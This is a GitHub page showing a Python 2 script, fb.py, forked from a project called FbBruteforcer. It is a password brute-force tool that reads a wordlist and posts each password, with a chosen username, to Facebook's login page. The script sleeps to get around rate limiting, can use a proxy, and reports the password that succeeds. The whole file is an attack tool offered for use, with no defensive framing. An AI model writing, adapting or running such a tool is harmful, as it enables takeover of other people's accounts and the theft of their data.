forked from JoyGhoshs/FbBruteforcer
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathfb.py
136 lines (105 loc) · 3.79 KB
/
fb.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
__version__ = "0.1Joy"
import time
import getopt
import sys
import httplib
import urllib
import re
HEADERS = {
"Content-type": "application/x-www-form-urlencoded",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1",
# "Accept-Encoding": "gzip, deflate",
"Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7",
"Cookie": "locale=es_LA"
}
DATA = {
"return_session": 0,
"legacy_return": 1,
"display": "",
"session_key_only": 0,
"trynum": 1,
"timezone": 360,
"persistent": 1,
"default_persistent": 1,
"login": "Entrar"
}
def main(argv):
error, options = parse_args(argv)
if error or "help" in options:
usage()
return
DATA["email"] = options["username"]
host = "www.facebook.com"
port = 80
resource = "/login.php"
if "proxy" in options:
host, port = options["proxy"].split(":")
resource = "http://www.facebook.com/login.php"
running = True
waiting = False
found = False
count = 1
while running:
if not waiting:
count = 1
passwd = unicode(options["passdb"].readline().strip(), options["encoding"])
if not passwd:
break
try:
waiting = False
print "Trying: {0}".format(passwd.encode(options["encoding"]))
conn = httplib.HTTPConnection(host, port)
# needs to be encoded in utf-8 for urlencode
DATA["pass"] = passwd.encode("utf-8")
params = urllib.urlencode(DATA)
conn.request("POST", resource, params, HEADERS)
response = conn.getresponse()
response = response.read()
conn.close()
if len(response.strip()) == 0:
found = True
print "SUCCESS: {0}".format(passwd.encode(options["encoding"]))
break
elif response.find("menudo") != -1:
waiting = True
print "Waiting..."
time.sleep(60 * count)
count += 1
except Exception, err:
print "An error ocurred: ", str(err)
if not found:
print "FAILED: Password list Doesen't have Matching Password Use Another list!"
def parse_args(argv):
options = { "encoding": "utf-8" }
error = False
try:
opts, args = getopt.getopt(argv, "u:p:e:P:h", ["username=", "passdb=", "encoding=", "proxy=", "help"])
for opt, arg in opts:
if opt in ("-u", "--username"):
options["username"] = arg
elif opt in ("-p", "--passdb"):
options["passdb"] = open(arg)
elif opt in ("-e", "--encoding"):
options["encoding"] = arg
elif opt in ("-P", "--proxy"):
if not re.search("^(\w+|\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):\d+$", arg):
raise Exception("Invalid format for proxy, should be host:port")
options["proxy"] = arg
elif opt in ("-h", "--help"):
options["help"] = True
else:
error = True
except Exception, err:
error = True
print str(err)
if "username" not in options or "passdb" not in options:
error = True
return error, options
def usage():
print """Fb Bruteforce Tool By Joy Ghosh Works On Windows Also
How to Use:
fb.py -u (Username) -p (password list name) [-e encoding] [-P proxy:port]""".format(__version__)
if __name__ == "__main__":
main(sys.argv[1:])